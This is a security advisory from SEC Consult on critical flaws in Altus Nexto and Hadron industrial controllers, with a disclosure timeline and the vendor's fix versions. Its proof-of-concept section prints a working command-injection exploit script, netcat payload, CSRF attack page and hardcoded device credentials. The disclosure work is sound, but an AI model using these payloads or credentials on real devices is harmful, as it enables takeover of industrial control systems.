SEC Consult SA-20210819-0 :: Multiple critical vulnerabilities in Altus Nexto and Hadron series

From: SEC Consult Vulnerability Lab <research () sec-consult com>
Date: Thu, 19 Aug 2021 11:16:21 +0200

```
SEC Consult Vulnerability Lab Security Advisory < 20210819-0 >
=======================================================================
               title: Multiple Critical Vulnerabilities
             product: Multiple Altus Sistemas de Automacao products:
                      Nexto NX30xx Series
                      Nexto NX5xxx Series
                      Nexto Xpress XP3xx Series
                      Hadron Xtorm HX3040 Series
 vulnerable version: See "Vulnerable / tested versions"
       fixed version: See "Solution"
          CVE number: CVE-2021-39243, CVE-2021-39243, CVE-2021-39243
              impact: Critical
            homepage: https://www.altus.com.br/
               found: 2020-05-20
                  by: D. Teuchert
                      T. Weber (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"As a reference for the automation market for more than 35 years, Altus
Sistemas de Automação S.A. offers a complete line of products that meet a wide
range of customers' needs in several areas of the domestic and international
markets. Developed with own technology, our solutions deliver high added value
to our customers businesses, enabling productivity, safety and reliability for
industrial automation applications and industrial automation processes.

We are a member of Parit Participações, a holding company in the technology
sector, which also controls Teikon S.A., a company with operations on the
electronic manufacturing market, and RT Tecnologia Médica, a company that
operates in the radiological market."

Source: https://www.altus.com.br/sobre

Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these
products conducted by security professionals to identify and resolve all
security issues.


Vulnerability overview/description:
-----------------------------------
1) Authenticated Semi-Blind Command Injection via Parameter Injection (CVE-2021-39244)
The getlogs.cgi script allows authenticated users to start tcpdump on the
device. By injecting payloads into specific parameters it is also possible to
execute arbitrary OS commands. The output of these commands can be obtained in
another step.

2) Cross-Site Request Forgery (CSRF) (CVE-2021-39243)
The web interface that is used to set all configurations is vulnerable to
cross-site request forgery attacks. An attacker can change settings this way by
luring the victim to a malicious website.

3) Hardcoded Credentials for CGI Endpoint (CVE-2021-39245)
The getlogs.cgi script is exclusively htaccess-protected with hardcoded
credentials. These are shared with all firmware images from the series NX30xx,
HX30xx and XP3xx. These hardcoded credentials can be used to access the device
without a valid user account on application level and cannot be changed in the
user interface.

In combination with vulnerability 1), a full compromization on system level
with the only precondition of network access can be done.

4) Outdated and Vulnerable Software Components
A static scan with the IoT Inspector revealed outdated software packages that
are used in the devices' firmware.

The used BusyBox toolkit is outdated and contains multiple known
vulnerabilities. The outdated version was found by IoT Inspector. One of the
discovered vulnerabilities (CVE-2017-16544) was verified by using the MEDUSA
scalable firmware runtime.


Proof of concept:
-----------------
1) Authenticated Semi-Blind Command Injection via Parameter Injection (CVE-2021-39244)
The following firmware extract of getlogs.cgi displays the vulnerability:
--------------------------------------------------------------------------------
TCPDUMP_IFACE=`echo "$QUERY_STRING" | sed -n 's/^.*tcpdump_iface=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
TCPDUMP_COUNT=`echo "$QUERY_STRING" | sed -n 's/^.*tcpdump_count=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
[...]
echo "tcpdump is running ..."
echo "<p>Please, wait the capture of $TCPDUMP_COUNT packets in $TCPDUMP_IFACE.</p>"
chrt -p -f 70 $$
tcpdump -i $TCPDUMP_IFACE -c $TCPDUMP_COUNT -w /tmp/capture.pcap
mount / -o rw,remount
ln -s /tmp/capture.pcap /usr/www/capture.pcap
mount / -o ro,remount
echo "<a href=\"capture.pcap\" download=\"$TCPDUMP_IFACE-capture.pcap\">Click here to download the capture file</a>"
--------------------------------------------------------------------------------
As it can be seen, the variables $TCPDUMP_COUNT and $TCPDUMP_IFACE are used
unfiltered in the tcpdump command. This means, that it is possible to inject
arbitrary parameters to the tcpdump command. The flag -z for tcpdump allows to
define a program that will run on the capture file. This behaviour can be used
to execute arbitrary commands. The following request injects parameters, so
that tcpdump listens on UDP port 1234 and will execute the capture file with
sh:
--------------------------------------------------------------------------------
GET /getlogs.cgi?logtype=tcpdump&tcpdump_iface=eth0&tcpdump_count=1%20-G%201%20-z%20sh%20-U%20-A%20udp%20port%201234
HTTP/1.1
Host: $IP
```

```
Authorization: Basic YWx0dXM6bmV4dG8xMjM0

--------------------------------------------------------------------------------
The next step to exploit this vulnerability is to send the commands to UDP port
1234:

$ echo -e ";\n$CMD &>/tmp/capture.pcap;\n'\n$CMD &>/tmp/capture.pcap;" | nc -u $TARGET_HOST $UDP_PORT

The command is sent twice because it is possible, that the capture file
contains a "'" before the sent payload. Injecting the commands twice with a "'"
in between makes sure, that the command will be executed by sh and not
interpreted as a string. The output of the executed command is redirected to
the file capture.pcap which can be accessed via the following request:
--------------------------------------------------------------------------------
GET /capture.pcap HTTP/1.1
Host: $IP
--------------------------------------------------------------------------------
These three steps are combined in the following proof of concept script:
--------------------------------------------------------------------------------
#!/bin/bash
#Author: D. Teuchert
CMD="whoami"
if [[ $# -eq 1 ]]; then
    CMD=$1
fi
TARGET_HOST="192.168.100.123"
UDP_PORT=1234
BASIC_AUTH_USERNAME="altus"
BASIC_AUTH_PASSWORD="nexto1234"
BASIC_AUTH_HEADER=$(printf "$BASIC_AUTH_USERNAME:$BASIC_AUTH_PASSWORD" | base64)

#Sending HTTP request with parameter injection in tcpdump
#Break out of tcpdump is done via a technique described here:
#https://insinuator.net/2019/07/how-to-break-out-of-restricted-shells-with-tcpdump/
curl -s -k -X "GET" -H "Host: $TARGET_HOST" -H "Authorization: Basic $BASIC_AUTH_HEADER"
"http://$TARGET_HOST/getlogs.cgi?logtype=tcpdump&tcpdump_count=1%20-G%201%20-z%20sh%20-U%20-
A%20udp%20port%20$UDP_PORT";>/dev/null &
#Send udp packet with payload
echo -e ";\n$CMD &>/tmp/capture.pcap;\n'\n$CMD &>/tmp/capture.pcap;" | nc -u $TARGET_HOST $UDP_PORT
echo -e "Executed \"$CMD\".\nResponse:"
#The output of the executed command was saved in capture.pcap
curl -s -k -X "GET" -H "Host: $TARGET_HOST" "http://$TARGET_HOST/capture.pcap";
--------------------------------------------------------------------------------

2) Cross-Site Request Forgery (CSRF) (CVE-2021-39243)
The following CSRF proof-of-concept can be used to do the first step of the
command Injection exploitation:
--------------------------------------------------------------------------------
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://$IP/getlogs.cgi";>
      <input type="hidden" name="logtype" value="tcpdump" />
      <input type="hidden" name="tcpdump_iface" value="eth0" />
      <input type="hidden" name="tcpdump_count" value="1 -G 1 -z sh -U -A udp port 1234" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
--------------------------------------------------------------------------------

3) Hardcoded Credentials for CGI Endpoint (CVE-2021-39245)
The hardcoded credentials are present under "/etc/lighttpd/lighttpd-auth.conf":
altus:nexto1234

These credentials are exclusively used for the getlogs.cgi script. This is also
described in the lighttpd.conf which is located under the same directory:
--------------------------------------------------------------------------------
[...]
auth.debug = 0
auth.backend = "plain"
auth.backend.plain.userfile = "/etc/lighttpd/lighttpd-auth.conf"

auth.require = ( "/cgi/getlogs.cgi" =>
        (
                "method" => "basic",
                "realm" => "Password protected area",
                "require" => "user=altus"
        )
)
[...]
--------------------------------------------------------------------------------

4) Outdated and Vulnerable Software Components
Based on an automated scan with the IoT Inspector the following third party
software packages were found to be outdated:

Altus/Beijer XP3xx:
BusyBox          1.19.4
GNU glibc        2.19
lighttpd         1.4.30
Linux Kernel     4.9.98
OpenSSH          5.9p1
OpenSSL          1.0.0g
OpenSSL          1.1.1b (in CODESYS)
CODESYS Control 3.5.15

Altus/Beijer NX30xx:
BusyBox          1.1.3
Dropbear SSH     0.45
GNU glibc        2.5
lighttpd         1.4.24-devel-v1.0.0.7-1727-g6fd3998
Linux Kernel     2.6.23
OpenSSL          0.9.8g
OpenSSL          1.1.1b (in CODESYS)
CODESYS Control 3.5.15

Altus/Beijer HX30xx:
BusyBox          1.19.4
GNU glibc        2.11.1
lighttpd         1.4.30
Linux Kernel     3.0.75
OpenSSH          5.9p1
OpenSSL          1.0.0g
OpenSSL          1.0.2j (in CODESYS)
CODESYS Control 3.5.12.65

The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on
an emulated device:

A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the
vulnerability.
--------------------------------------------------------------------------------
# ls "pressing <TAB>"
test
55\;test.txt
#
--------------------------------------------------------------------------------

The vulnerabilities 1), 2), 3), 4) were manually verified on an emulated device
by using the MEDUSA scalable firmware runtime.

Vulnerable / tested versions:
-----------------------------
The following firmware versions have been found to be vulnerable:
Altus/Beijer Nexto NX3003 / 1.8.11.0
Altus/Beijer Nexto NX3004 / 1.8.11.0
Altus/Beijer Nexto NX3005 / 1.8.11.0
Altus/Beijer Nexto NX3010 / 1.8.3.0
Altus/Beijer Nexto NX3020 / 1.8.3.0
```

Altus/Beijer Nexto NX3030 / 1.8.3.0
Altus/Beijer Nexto Xpress XP300 / 1.8.11.0
Altus/Beijer Nexto Xpress XP315 / 1.8.11.0
Altus/Beijer Nexto Xpress XP325 / 1.8.11.0
Altus/Beijer Nexto Xpress XP340 / 1.8.11.0
Altus/Beijer Hadron Xtorm HX3040 / 1.7.58.0

The following versions are also vulnerable according to the vendor:
Altus/Beijer Nexto NX5100 / 1.8.11.0
Altus/Beijer Nexto NX5101 / 1.8.11.0
Altus/Beijer Nexto NX5110 / 1.1.2.8
Altus/Beijer Nexto NX5210 / 1.1.2.8

Vendor contact timeline:

2020-05-25: Contacting VDE CERT through info () cert vde com. Received
confirmation from VDE CERT.
2020-05-01 - 2020-09-01: Multiple emails and telephone calls with VDE CERT.
VDE CERT contacts said, that the vendor did not respond on any
messages or calls.
2020-09-30: Wrote a message to the SVP R&D and Supply Chain of Beijer
Electronics. No answer.
2020-10-05: Call with the helpdesk of Beijer Electronics AB. The contact stated
that no case regarding vulnerabilities were opened and created one.
The product owners of Westermo, Korenix and Beijer Electronics were
informed via this inquiry. Set disclosure date to 2020-11-25.
2020-10-06: Restarted the whole responsible disclosure process by sending a
request to the new security contact cs () beijerelectronics com.
2020-11-11: Asked the representatives of Korenix and Beijer regarding the
status. No answer.
2020-11-25: Phone call with security manager of Beijer. Sent advisories via
encrypted archive to cs () beijerelectronics com. Received
confirmation of advisory receipt. Security manager told us that he
can provide information regarding the time-line for the patches
within the next two weeks.
2020-12-09: Asked for an update.
2020-12-18: Call with security manager of Beijer. Vendor presented initial
analysis done by the affected companies, also Altus. Preliminary
plans to fix the vulnerabilities were presented. Altus stated to
fix issue #1 in January and the other vulnerabilities in March or
April.
2021-03-21: Security manager invited SEC Consult to have a status meeting.
2021-03-25: Altus fixed vulnerability #1. Handover of the advisory handling to
Altus employees will be done in April. Vendor released fixed
firmware regarding issue #1.
2021-04-09: Meeting with Altus. Vendor did not agree with another potentially
vulnerability, which was identified on the emulated device. Thus,
it was removed from the advisory. Vulnerabilities #2 and #3 were
planned to be fixed earlier this year but the releases shifted due
to Covid. The new firmware version will be released in July 2021.
2021-04-22: Asked for an update; No answer.
2021-05-04: Asked for an update.
2021-05-07: Vendor was working on the security fixes.
2021-05-11: Vendor sent timeline for fixes and detailed version information.
Two additional models were added to the affected devices by the
vendor.
2021-06-10: Added additional information and asked if more time will be needed.
2021-06-10: Vendor added affected version numbers and asked for the 1st of
August as new release date.
2021-06-15: Set the release date to 1st of August.
2021-07-28: Vendor sent the version numbers for the fixed firmware and asked
for postponing the release to 6th of August for completing the
documentation.
2021-08-16: Due to holiday, the SEC Consult Vulnerability was closed. Informed
vendor to release the advisory in the next four days.
2021-08-17: Received CVE IDs.
2021-08-18: Informed vendor to release the advisory on 2021-08-19.
2021-08-19: Coordinated release of security advisory.

Solution:

According to the vendor the following patches must be applied to fix issue 1),
2) and 3):

XP300 - v1.11.2.0
XP315 - v1.11.2.0
XP325 - v1.11.2.0
XP340 - v1.11.2.0
BCS-NX3003 - v1.11.2.0
BCS-NX3004 - v1.11.2.0
BCS-NX3005 - v1.11.2.0
BCS-NX3010 - v1.9.1.0
BCS-NX3020 - v1.9.1.0
BCS-NX3030 - v1.9.1.0
BCS-NX5100 - v1.11.2.0
BCS-NX5101 - v1.11.2.0
BCS-NX5110 - v1.11.2.0
BCS-NX5210 - v1.11.2.0
BCS-HX3040 - v1.11.2.0

Vendor's statement regarding issue 4):
"Altus continuously integrates new features and fixes in the products,
releasing new firmware versions. Often those improvements require the software
packages upgrading for several reasons, including security. When this happens,
we perform a set of tests to ensure that the performance, reliability, and
security were not negatively impacted by the upgrades. Although there are known
vulnerabilities in some software package versions, those vulnerabilities can
only be exploited if we compile those specific features and provide the means
to exploit them. The issue pointed out by SEC Consult, for instance, requires a
terminal to be exploited, which we don't provide in real hardware. Nowadays,
there isn't any known exploitable vulnerability caused by outdated software
packages in our products. Therefore, this item isn’t considered a vulnerability
by us."

Workaround:

Restrict network access to the device.

Advisory URL:
----
https://sec-consult.com/vulnerability-lab/

~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~

Mail: research at sec-consult dot com
~~~~~~

Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Daniel Teuchert, Thomas Weber / @2021

Attachment: smime.p7s
Description: S/MIME Cryptographic Signature

By Date By Thread

Current thread:

SEC Consult SA-20210819-0 :: Multiple critical vulnerabilities in Altus Nexto and Hadron series ***SEC Consult Vulnerability Lab (Aug 19)***